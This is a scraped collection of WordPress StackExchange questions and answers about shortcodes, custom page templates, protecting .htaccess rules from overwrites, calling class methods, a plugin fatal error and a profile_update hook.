If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in [this article.](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
282,282
<p>I added shortcodes to the theme I'm using, but when I try to use them in a page, it gives me a blank page. I have seen a solution to this problem saying to use <code>remove_filter("the_content", "wpautop");</code> but I'm not sure that this will work. If it will, please let me know, and please let me know where to put that code. Otherwise, what can I do to fix this issue. If you need to see what shortcodes I'm trying to add, let me know and I'll post a file with them. Thanks in advance. </p> <p><strong>EDIT</strong> Here are the functions I am using to add the shortcodes:</p> <pre><code>function facebook($atts) { extract(shortcode_atts(array( "source_url" =&gt; 'https://www.facebook.com/the569a/' ), $atts)); $url = "http://api.facebook.com/restserver.php?method=links.getStats&amp;urls=".urlencode($source_url); $xml = file_get_contents($url); $xml = simplexml_load_string($xml); $likes = $xml-&gt;link_stat-&gt;like_count; return '&lt;div class="column"&gt;&lt;a href="' . $source_url . '"&gt;&lt;i class="fa fa-facebook" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"&gt;&lt;/i&gt;&lt;span style="font-size: 150%;"&gt;' . $likes . ' likes&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;'; } add_shortcode("facebook", "facebook"); function twitter($atts) { extract(shortcode_atts(array( "user_id" =&gt; 'team569A', "link" =&gt; 'http://www.twitter.com' ), $atts)); $xml = new SimpleXMLElement(urlencode(strip_tags('https://twitter.com/users/'.$user_id.'.xml')), null, true); return '&lt;div class="column"&gt;&lt;a href="' . $link . '"&gt;&lt;i class="fa fa-twitter" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"&gt;&lt;/i&gt;&lt;span style="font-size: 150%;"&gt;' . $xml-&gt;followers_count . ' followers&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;'; } add_shortcode("twitter", "twitter"); function instagram($atts) { extract(shortcode_atts(array( "username" =&gt; '569A_', "link" =&gt; 'http://www.instagram.com' ), $atts)); $raw = file_get_contents('https://www.instagram.com/'.$username); preg_match('/\"followed_by\"\:\s?\{\"count\"\:\s?([0-9]+)/',$raw,$m); return '&lt;div class="column"&gt;&lt;a href="' . $link . '"&gt;&lt;i class="fa fa-instagram" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"&gt;&lt;/i&gt;&lt;span style="font-size: 150%;"&gt;' . intval($m[1]) . ' followers&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;'; } add_shortcode("instagram", "instagram"); function discord($atts) { extract(shortcode_atts(array( "server_code" =&gt; '365923825860214784', "link" =&gt; 'https://discordapp.com/invite/FjuqqFc' ), $atts)); $JsonIn = file_get_contents('https://discordapp.com/api/guilds/'.$server_code.'/embed.json'); $JSON = json_decode($jsonIn, true); $membersCount = count($JSON['members']); return '&lt;div class="column"&gt;&lt;a href="'.$link.'"&gt;&lt;i class="fa fa-687474703a2f2f692e696d6775722e636f6d2f65597779386c" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"&gt;&lt;/i&gt;&lt;span style="font-size: 150%;"&gt;'. $membersCount . ' members&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;'; } add_shortcode("discord", "discord"); </code></pre> <p><s>I don't currently have access to the error.log file.</s> I will note though that not the entire page is blank. The theme still shows up, along with page title, but not the content of the page.</p> <p><strong>EDIT 2</strong> I just went to look for the error.log file, but there does not seem to be one. I have no clue what to do from here.</p>
[ { "answer_id": 282273, "author": "CK MacLeod", "author_id": 35923, "author_profile": "https://wordpress.stackexchange.com/users/35923", "pm_score": 1, "selected": false, "text": "<p>Agree with the comments, but still might as well provide an answer for someone coming from a place of some sophistication, and trying to learn.</p>\n\n<p>A preferred method in most real world cases would be to open up the appropriate template file functioning as the equivalent of index.php (in the main directory), which will be set by your theme (according to <a href=\"https://developer.wordpress.org/themes/basics/template-hierarchy/\" rel=\"nofollow noreferrer\">the hierarchy</a>): Most likely either home.php or index.php and possibly front-page.php, depending both on the particular theme and on general settings. Those template files will be found in the main directory of the active theme (in wp-content/themes/). </p>\n\n<p>Since the question implies that the new \"index\" page will have no other content, you could in theory delete everything you don't want in the final HTML or understand, from header to footer, and replace it with you code, but most likely (why use Wordpress otherwise?), you'll want to keep almost everything except for the stuff between while if (have_posts() ) and its related endif, if present. ('The Loop', in other words.) </p>\n\n<p>Furthermore, you might as well start now creating <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">child themes</a> and doing the modifications there. </p>\n\n<p>Another alternative will likely be to add the code via shortcode or some other method involving a custom function or conceivably a plugin, possibly to a page set as the home page. </p>\n\n<p>Since it's WordPress, there will be additional alternatives...</p>\n" }, { "answer_id": 282289, "author": "haz", "author_id": 99009, "author_profile": "https://wordpress.stackexchange.com/users/99009", "pm_score": 3, "selected": true, "text": "<p>If you're coming from a Laravel background, you're going to hate Wordpress routing. </p>\n\n<p>For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not \"The Wordpress Way.\" </p>\n\n<p>There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template.</p>\n\n<p>Here's how.</p>\n\n<p>I'm going to assume you have control over your theme and it's located here: <code>yoursite/wp-content/themes/your-theme</code></p>\n\n<p>Add a new file:</p>\n\n<pre><code>yoursite/wp-content/themes/your-theme/mygetform.php\n</code></pre>\n\n<p>Add some Wordpress-magic to the top of this file:</p>\n\n<pre><code>&lt;?php\n/**\n * Template Name: Custom Page - My Get Form\n * Description: Here's my custom page.\n */\n/* include your template header here, if you need/want it. */\n\n/* insert your custom code here */\n\n/* include your template footer here, if you need/want it. */\n</code></pre>\n\n<p>Now head to <strong>yoursite.com/wp-admin</strong> and navigate to Pages > Add Page.</p>\n\n<p>In your <strong>Page Attributes</strong> metabox (which normally hides on the right hand side somewhere) you'll now be able to select \"<strong>Custom Page - My Get Form</strong>\" from the Template drop down.</p>\n\n<p>This will now run all PHP you've dropped into this file (or included, etc).</p>\n\n<p>If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in <a href=\"https://www.sitepoint.com/handling-post-requests-the-wordpress-way/\" rel=\"nofollow noreferrer\">this article.</a></p>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282282", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129266/" ]
I added shortcodes to the theme I'm using, but when I try to use them in a page, it gives me a blank page. I have seen a solution to this problem saying to use `remove_filter("the_content", "wpautop");` but I'm not sure that this will work. If it will, please let me know, and please let me know where to put that code. Otherwise, what can I do to fix this issue. If you need to see what shortcodes I'm trying to add, let me know and I'll post a file with them. Thanks in advance. **EDIT** Here are the functions I am using to add the shortcodes: ``` function facebook($atts) { extract(shortcode_atts(array( "source_url" => 'https://www.facebook.com/the569a/' ), $atts)); $url = "http://api.facebook.com/restserver.php?method=links.getStats&urls=".urlencode($source_url); $xml = file_get_contents($url); $xml = simplexml_load_string($xml); $likes = $xml->link_stat->like_count; return '<div class="column"><a href="' . $source_url . '"><i class="fa fa-facebook" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"></i><span style="font-size: 150%;">' . $likes . ' likes</span></a></div>'; } add_shortcode("facebook", "facebook"); function twitter($atts) { extract(shortcode_atts(array( "user_id" => 'team569A', "link" => 'http://www.twitter.com' ), $atts)); $xml = new SimpleXMLElement(urlencode(strip_tags('https://twitter.com/users/'.$user_id.'.xml')), null, true); return '<div class="column"><a href="' . $link . '"><i class="fa fa-twitter" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"></i><span style="font-size: 150%;">' . $xml->followers_count . ' followers</span></a></div>'; } add_shortcode("twitter", "twitter"); function instagram($atts) { extract(shortcode_atts(array( "username" => '569A_', "link" => 'http://www.instagram.com' ), $atts)); $raw = file_get_contents('https://www.instagram.com/'.$username); preg_match('/\"followed_by\"\:\s?\{\"count\"\:\s?([0-9]+)/',$raw,$m); return '<div class="column"><a href="' . $link . '"><i class="fa fa-instagram" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"></i><span style="font-size: 150%;">' . intval($m[1]) . ' followers</span></a></div>'; } add_shortcode("instagram", "instagram"); function discord($atts) { extract(shortcode_atts(array( "server_code" => '365923825860214784', "link" => 'https://discordapp.com/invite/FjuqqFc' ), $atts)); $JsonIn = file_get_contents('https://discordapp.com/api/guilds/'.$server_code.'/embed.json'); $JSON = json_decode($jsonIn, true); $membersCount = count($JSON['members']); return '<div class="column"><a href="'.$link.'"><i class="fa fa-687474703a2f2f692e696d6775722e636f6d2f65597779386c" style="color: white; border: 1px solid white; border-radius: 100%; font-size: 28px; height: 38px; line-height: 40px; margin: 5px; text-align: center; width: 38px;" aria-hidden="true"></i><span style="font-size: 150%;">'. $membersCount . ' members</span></a></div>'; } add_shortcode("discord", "discord"); ``` ~~I don't currently have access to the error.log file.~~ I will note though that not the entire page is blank. The theme still shows up, along with page title, but not the content of the page. **EDIT 2** I just went to look for the error.log file, but there does not seem to be one. I have no clue what to do from here.
If you're coming from a Laravel background, you're going to hate Wordpress routing. For our high-functioning Wordpress websites, I had to write a whole bunch of routing workarounds to Laravel-ise routes, and it's definitely not "The Wordpress Way." There's no neat Wordpress way to add routes in code. Your best bet is to leverage the default routing by creating a Page at the URL you want, and then use a custom Page Template. Here's how. I'm going to assume you have control over your theme and it's located here: `yoursite/wp-content/themes/your-theme` Add a new file: ``` yoursite/wp-content/themes/your-theme/mygetform.php ``` Add some Wordpress-magic to the top of this file: ``` <?php /** * Template Name: Custom Page - My Get Form * Description: Here's my custom page. */ /* include your template header here, if you need/want it. */ /* insert your custom code here */ /* include your template footer here, if you need/want it. */ ``` Now head to **yoursite.com/wp-admin** and navigate to Pages > Add Page. In your **Page Attributes** metabox (which normally hides on the right hand side somewhere) you'll now be able to select "**Custom Page - My Get Form**" from the Template drop down. This will now run all PHP you've dropped into this file (or included, etc). If you've got forms and stuff, you could also include it in this file and that would work. The most Wordpress way to handle GET/POST form submissions is by leveraging admin-post.php, which is best documented in [this article.](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
282,285
<p>How can I prevent WordPress and plugins from overwriting my <code>.htaccess</code> file? I use Wordpress to set the structure of my permalinks; so I doubt it is practical to deny all permissions to the file.</p> <p>If it is unlikely that WordPress is responsible for overwriting the file, advice on determining what is responsible would be helpful.</p> <p>I recently added these rules to .htaccess to redirect traffic to HTTPS.</p> <pre><code> RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] </code></pre> <p>One day later, I found that .htaccess had reverted to its previous state. Following is a portion of the .htaccess file as I intend it.</p> <pre><code># BEGIN W3TC Page Cache core &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase / RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] RewriteCond %{HTTPS} =on RewriteRule .* - [E=W3TC_SSL:_ssl] RewriteCond %{SERVER_PORT} =443 RewriteRule .* - [E=W3TC_SSL:_ssl] RewriteCond %{HTTP:Accept-Encoding} gzip RewriteRule .* - [E=W3TC_ENC:_gzip] RewriteCond %{HTTP_COOKIE} w3tc_preview [NC] RewriteRule .* - [E=W3TC_PREVIEW:_preview] RewriteCond %{REQUEST_METHOD} !=POST RewriteCond %{QUERY_STRING} ="" RewriteCond %{REQUEST_URI} \/$ RewriteCond %{HTTP_COOKIE} !(comment_author|wp\-postpass|w3tc_logged_out|wordpress_logged_in|wptouch_switch_toggle) [NC] RewriteCond "%{DOCUMENT_ROOT}/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_SSL}%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" -f RewriteRule .* "/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_SSL}%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" [L] &lt;/IfModule&gt; # END W3TC Page Cache core </code></pre> <p>This code redirects traffic with a status of 301 as expected, until the .htaccess file is overwritten.</p> <p>--Update-- By placing comments in several sections of the .htaccess file and observing which one was overwritten, I found that plugin W3 Total Cache overwrote the entirety of the section commented with </p> <pre><code># BEGIN W3TC Page Cache core </code></pre>
[ { "answer_id": 282288, "author": "haz", "author_id": 99009, "author_profile": "https://wordpress.stackexchange.com/users/99009", "pm_score": 2, "selected": false, "text": "<p>Wordpress will definitely rewrite your .htaccess file under certain circumstances, such as if you change Permalinks.</p>\n\n<p>Like you, we have a bunch of custom things in out .htaccess file, which I'd prefer to leave in the hands of our devOps guys rather than Wordpress.</p>\n\n<p>The easiest way if you have access to the server is to change the file permissions on .htaccess</p>\n\n<pre><code>&amp; chmod a-w .htaccess\n</code></pre>\n\n<p>This removes write access for all users. If you don't have shell access to your Wordpress instance, your hosting provider might provide a file explorer type setting where you might be able to alter your file permissions.</p>\n\n<p>Alternatively, you could change the file ownership:</p>\n\n<pre><code>&amp; chown root:root .htaccess\n&amp; chmod 644 .htaccess\n</code></pre>\n\n<p>This may not work depending on your Apache user settings, and is almost certainly not an option provided by your hosting provider.</p>\n\n<p>A third option you can use, which once again requires you to be in control of your server, is to put your immutable settings (such as as your HTTPS rewrite) into a different include file in your VirtualHost settings.</p>\n\n<pre><code>&lt;VirtualHost *&gt;\n ServerName www.mysite.com\n DocumentRoot /var/www/mysite.com/wordpress/\n Include /var/www/mysite.com/custom-apache-settings.conf\n&lt;/VirtualHost&gt;\n</code></pre>\n" }, { "answer_id": 282299, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 1, "selected": false, "text": "<p>As haz stated in his answer, WordPress will (and should be able to) overwrite the .htaccess.</p>\n\n<p>You can use <a href=\"https://developer.wordpress.org/reference/hooks/mod_rewrite_rules/\" rel=\"nofollow noreferrer\">mod_rewrite_rules</a> filter to add you own, though. To keep it simple, you could add a file .htaccess.custom, put your rules in there and add its content to $rules in the filter. Don't forget to return $rules.</p>\n" }, { "answer_id": 282319, "author": "MrWhite", "author_id": 8259, "author_profile": "https://wordpress.stackexchange.com/users/8259", "pm_score": 4, "selected": true, "text": "<p>If you place your \"custom\" directives outside of any <code># BEGIN ...</code> / <code># END ...</code> comment markers then WordPress (and plugins) <em>should not</em> overwrite them when they update. (Of course, if you have plugins that don't \"play nice\" then they could do anything to <code>.htaccess</code> if you let them, so you would need to do something like what @haz suggests in this case.)</p>\n\n<p>In your case, you can simply place those directives above the <code># BEGIN W3TC Page Cache core</code> comment. For example:</p>\n\n<pre><code># Custom directives\nRewriteCond %{HTTPS} off\nRewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]\n\n# BEGIN W3TC Page Cache core\n&lt;IfModule mod_rewrite.c&gt;\n RewriteEngine On\n RewriteBase /\n RewriteCond %{HTTPS} =on\n RewriteRule .* - [E=W3TC_SSL:_ssl]\n :\n</code></pre>\n\n<p>You don't need to repeat the <code>RewriteEngine On</code> directive (providing it occurs somewhere in the file). And your directives are not using <code>RewriteBase</code> anyway - but again, <code>RewriteBase</code> should only occur once in the file. (The last instance of each of these directives is what controls the entire file.)</p>\n\n<p>(<em>Aside:</em> The parentheses around the <code>RewriteRule</code> <em>pattern</em> are superfluous in your directive.)</p>\n" }, { "answer_id": 396821, "author": "Petrus Vermaak", "author_id": 213554, "author_profile": "https://wordpress.stackexchange.com/users/213554", "pm_score": 1, "selected": false, "text": "<p>A more elegant answer is to block WordPress from writing to the .htaccess in between the # BEGIN WordPress and # END WordPress blocks. Coincidently it will also prevent any other plugin from writing to that section.</p>\n<pre><code># BEGIN Custom Block Code\n&lt;IfModule mod_ignore_wordpress.c&gt;\n\n# BEGIN WordPress\n# The directives (lines) between &quot;BEGIN WordPress&quot; and &quot;END WordPress&quot; are\n# dynamically generated, and should only be modified via WordPress filters.\n# Any changes to the directives between these markers will be overwritten.\n&lt;IfModule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n&lt;/IfModule&gt;\n# END WordPress\n\n&lt;/IfModule&gt;\n# END Custom Block Code\n</code></pre>\n" }, { "answer_id": 401776, "author": "Ludwig", "author_id": 204877, "author_profile": "https://wordpress.stackexchange.com/users/204877", "pm_score": 0, "selected": false, "text": "<p>There are multiple possibilities to intervene into WordPress' <code>.htaccess</code> file manipulations:</p>\n<ol>\n<li><p>To prevent WP completely from editing your existing <code>.htaccess</code> file, it's best to change or remove the write permissions or owner:group. WP checks if the file is writable and if not, it doesn't try to change it.</p>\n</li>\n<li><p>To stop WP from even creating a <code>.htaccess</code> file or if you can't change permissions on the server and want to prevent WP from editing your file, add a <code>flush_rewrite_rules_hard</code> filter returning false in your plugin's code or theme's <code>function.php</code></p>\n</li>\n</ol>\n<pre class=\"lang-php prettyprint-override\"><code>// Please leave .htaccess file untouched\nadd_filter('flush_rewrite_rules_hard','__return_false');\n</code></pre>\n<ol start=\"3\">\n<li>When writing a plugin or theme that needs some extra config in the <code>.htaccess</code> file, use the <code>mod_rewrite_rules</code> filter to add your config lines.<br />\nUse this in your plugin or theme's <code>function.php</code></li>\n</ol>\n<pre class=\"lang-php prettyprint-override\"><code>// Add extra config lines to .htaccess\nadd_filter( 'mod_rewrite_rules', function( $rules ) {\n return $rules . '\n# My rules ...\n# ... go here\n';\n} );\n</code></pre>\n<ol start=\"4\">\n<li>You want to see all changes WP is doing in your <code>.htaccess</code> but don`t want them to apply you can add this filter.</li>\n</ol>\n<pre class=\"lang-php prettyprint-override\"><code>// Comment out all configuration WordPress adds to .htaccess\nadd_filter( 'mod_rewrite_rules', function( $rules ) {\n return '# ' . str_replace(&quot;\\n&quot;, &quot;\\n# &quot;, $rules);\n}, 100 );\n</code></pre>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282285", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129120/" ]
How can I prevent WordPress and plugins from overwriting my `.htaccess` file? I use Wordpress to set the structure of my permalinks; so I doubt it is practical to deny all permissions to the file. If it is unlikely that WordPress is responsible for overwriting the file, advice on determining what is responsible would be helpful. I recently added these rules to .htaccess to redirect traffic to HTTPS. ``` RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] ``` One day later, I found that .htaccess had reverted to its previous state. Following is a portion of the .htaccess file as I intend it. ``` # BEGIN W3TC Page Cache core <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] RewriteCond %{HTTPS} =on RewriteRule .* - [E=W3TC_SSL:_ssl] RewriteCond %{SERVER_PORT} =443 RewriteRule .* - [E=W3TC_SSL:_ssl] RewriteCond %{HTTP:Accept-Encoding} gzip RewriteRule .* - [E=W3TC_ENC:_gzip] RewriteCond %{HTTP_COOKIE} w3tc_preview [NC] RewriteRule .* - [E=W3TC_PREVIEW:_preview] RewriteCond %{REQUEST_METHOD} !=POST RewriteCond %{QUERY_STRING} ="" RewriteCond %{REQUEST_URI} \/$ RewriteCond %{HTTP_COOKIE} !(comment_author|wp\-postpass|w3tc_logged_out|wordpress_logged_in|wptouch_switch_toggle) [NC] RewriteCond "%{DOCUMENT_ROOT}/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_SSL}%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" -f RewriteRule .* "/wp-content/cache/page_enhanced/%{HTTP_HOST}/%{REQUEST_URI}/_index%{ENV:W3TC_SSL}%{ENV:W3TC_PREVIEW}.html%{ENV:W3TC_ENC}" [L] </IfModule> # END W3TC Page Cache core ``` This code redirects traffic with a status of 301 as expected, until the .htaccess file is overwritten. --Update-- By placing comments in several sections of the .htaccess file and observing which one was overwritten, I found that plugin W3 Total Cache overwrote the entirety of the section commented with ``` # BEGIN W3TC Page Cache core ```
If you place your "custom" directives outside of any `# BEGIN ...` / `# END ...` comment markers then WordPress (and plugins) *should not* overwrite them when they update. (Of course, if you have plugins that don't "play nice" then they could do anything to `.htaccess` if you let them, so you would need to do something like what @haz suggests in this case.) In your case, you can simply place those directives above the `# BEGIN W3TC Page Cache core` comment. For example: ``` # Custom directives RewriteCond %{HTTPS} off RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] # BEGIN W3TC Page Cache core <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{HTTPS} =on RewriteRule .* - [E=W3TC_SSL:_ssl] : ``` You don't need to repeat the `RewriteEngine On` directive (providing it occurs somewhere in the file). And your directives are not using `RewriteBase` anyway - but again, `RewriteBase` should only occur once in the file. (The last instance of each of these directives is what controls the entire file.) (*Aside:* The parentheses around the `RewriteRule` *pattern* are superfluous in your directive.)
282,290
<p>I want to call a function I have written from a shortcode handler. I have now simplified the code but I cannot find out why this won't work:</p> <pre><code>public function handleShortcode($atts) { return X(); } private function X() { return 'Hi world'; } </code></pre> <p>but, if I try:</p> <pre><code>public function handleShortcode($atts) { return 'Hello World!'; } </code></pre> <p>it works.</p> <p>This may be a dumb question but can anyone explain why the first example fails?</p>
[ { "answer_id": 282295, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 1, "selected": false, "text": "<p>You're returning <code>X()</code>, but your <code>X()</code> function appears to be within a class. Presumably the same class as <code>handleShortcode()</code>. So you need to call it the normal way you call functions within a class:</p>\n\n<pre><code>public function handleShortcode($atts) {\n return $this-&gt;X();\n}\n\nprivate function X()\n{\n return 'Hi world';\n}\n</code></pre>\n\n<p>If you're not in a class at all, you need to get rid of the <code>private</code> and <code>public</code>:</p>\n\n<pre><code>function handleShortcode($atts) {\n return X();\n}\n\nfunction X()\n{\n return 'Hi world';\n}\n</code></pre>\n" }, { "answer_id": 282298, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 0, "selected": false, "text": "<p>These look like methods of an object. If they are in the same object, use <code>$this-&gt;X()</code>, otherwise you will have to mimic ->X()'s behavior as you can't call a private method on an object.</p>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282290", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129269/" ]
I want to call a function I have written from a shortcode handler. I have now simplified the code but I cannot find out why this won't work: ``` public function handleShortcode($atts) { return X(); } private function X() { return 'Hi world'; } ``` but, if I try: ``` public function handleShortcode($atts) { return 'Hello World!'; } ``` it works. This may be a dumb question but can anyone explain why the first example fails?
You're returning `X()`, but your `X()` function appears to be within a class. Presumably the same class as `handleShortcode()`. So you need to call it the normal way you call functions within a class: ``` public function handleShortcode($atts) { return $this->X(); } private function X() { return 'Hi world'; } ``` If you're not in a class at all, you need to get rid of the `private` and `public`: ``` function handleShortcode($atts) { return X(); } function X() { return 'Hi world'; } ```
282,293
<p>I want to show Woocommerce products on my custom template page How can i get product collection in that page,Please kindly give some suggestions how do i proceed to complete it</p> <p>thanks</p>
[ { "answer_id": 282295, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 1, "selected": false, "text": "<p>You're returning <code>X()</code>, but your <code>X()</code> function appears to be within a class. Presumably the same class as <code>handleShortcode()</code>. So you need to call it the normal way you call functions within a class:</p>\n\n<pre><code>public function handleShortcode($atts) {\n return $this-&gt;X();\n}\n\nprivate function X()\n{\n return 'Hi world';\n}\n</code></pre>\n\n<p>If you're not in a class at all, you need to get rid of the <code>private</code> and <code>public</code>:</p>\n\n<pre><code>function handleShortcode($atts) {\n return X();\n}\n\nfunction X()\n{\n return 'Hi world';\n}\n</code></pre>\n" }, { "answer_id": 282298, "author": "janh", "author_id": 129206, "author_profile": "https://wordpress.stackexchange.com/users/129206", "pm_score": 0, "selected": false, "text": "<p>These look like methods of an object. If they are in the same object, use <code>$this-&gt;X()</code>, otherwise you will have to mimic ->X()'s behavior as you can't call a private method on an object.</p>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282293", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/123117/" ]
I want to show Woocommerce products on my custom template page How can i get product collection in that page,Please kindly give some suggestions how do i proceed to complete it thanks
You're returning `X()`, but your `X()` function appears to be within a class. Presumably the same class as `handleShortcode()`. So you need to call it the normal way you call functions within a class: ``` public function handleShortcode($atts) { return $this->X(); } private function X() { return 'Hi world'; } ``` If you're not in a class at all, you need to get rid of the `private` and `public`: ``` function handleShortcode($atts) { return X(); } function X() { return 'Hi world'; } ```
282,332
<p>Everytime I try to login my WP, this fatal error appears and I have no idea of what happened and how to solve. Can anybody help me out? I've got "zero" knowledge in programming and coding.</p> <p>This is what appears to me:</p> <pre><code>Fatal error: Uncaught Error: Cannot use object of type WP_Post as array in /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php:92 Stack trace: #0 /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php(476): mm_clm_log('content_draft', Object(WP_Post)) #1 /home1/tenhacon/public_html/wp-includes/class-wp-hook.php(298): mm_ux_log_content_status('draft', 'new', Object(WP_Post)) #2 /home1/tenhacon/public_html/wp-includes/class-wp-hook.php(323): WP_Hook-&gt;apply_filters(NULL, Array) #3 /home1/tenhacon/public_html/wp-includes/plugin.php(453): WP_Hook-&gt;do_action(Array) #4 /home1/tenhacon/public_html/wp-includes/post.php(3965): do_action('transition_post...', 'draft', 'new', Object(WP_Post)) #5 /home1/tenhacon/public_html/wp-includes/post.php(3425): wp_transition_post_status('draft', 'new', Object(WP_Post)) #6 /home1/tenhacon/public_html/wp-content/plugins/wpforms-lite/includes/admin/class-am-notification.php(143): wp_insert_po in /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php on line 92 </code></pre>
[ { "answer_id": 282334, "author": "Mostafa Soufi", "author_id": 106877, "author_profile": "https://wordpress.stackexchange.com/users/106877", "pm_score": 0, "selected": false, "text": "<p>There is a problem in <code>mojo-marketplace-wp-plugin</code> plugin, you can disable or update this plugin.</p>\n\n<p>Or you can fix this issue in the plugin.</p>\n" }, { "answer_id": 282335, "author": "Kuliraj", "author_id": 128600, "author_profile": "https://wordpress.stackexchange.com/users/128600", "pm_score": 1, "selected": false, "text": "<p>Go to your plugins dir <code>wp-content/plugins/</code> and rename <code>mojo-marketplace-wp-plugin</code> folder.</p>\n\n<p>This will deactivate <code>mojo-marketplace</code> and won't throw you an error when you try to login.</p>\n\n<p>Then you can contact with their support and solve this issue.</p>\n" } ]
2017/10/09
[ "https://wordpress.stackexchange.com/questions/282332", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129291/" ]
Everytime I try to login my WP, this fatal error appears and I have no idea of what happened and how to solve. Can anybody help me out? I've got "zero" knowledge in programming and coding. This is what appears to me: ``` Fatal error: Uncaught Error: Cannot use object of type WP_Post as array in /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php:92 Stack trace: #0 /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php(476): mm_clm_log('content_draft', Object(WP_Post)) #1 /home1/tenhacon/public_html/wp-includes/class-wp-hook.php(298): mm_ux_log_content_status('draft', 'new', Object(WP_Post)) #2 /home1/tenhacon/public_html/wp-includes/class-wp-hook.php(323): WP_Hook->apply_filters(NULL, Array) #3 /home1/tenhacon/public_html/wp-includes/plugin.php(453): WP_Hook->do_action(Array) #4 /home1/tenhacon/public_html/wp-includes/post.php(3965): do_action('transition_post...', 'draft', 'new', Object(WP_Post)) #5 /home1/tenhacon/public_html/wp-includes/post.php(3425): wp_transition_post_status('draft', 'new', Object(WP_Post)) #6 /home1/tenhacon/public_html/wp-content/plugins/wpforms-lite/includes/admin/class-am-notification.php(143): wp_insert_po in /home1/tenhacon/public_html/wp-content/plugins/mojo-marketplace-wp-plugin/inc/user-experience-tracking.php on line 92 ```
Go to your plugins dir `wp-content/plugins/` and rename `mojo-marketplace-wp-plugin` folder. This will deactivate `mojo-marketplace` and won't throw you an error when you try to login. Then you can contact with their support and solve this issue.
282,336
<p>When I try to use profile_update hook inside a class the callback function is not called.</p> <pre><code>public function __construct() { add_action('profile_update', array( $this, 'user_profile_update', 10, 2) ); } function user_profile_update( $user_id, $old_user_data ) { die(var_dump($old_user_data)); } </code></pre> <p>Outside the class the callback function works correctly. </p>
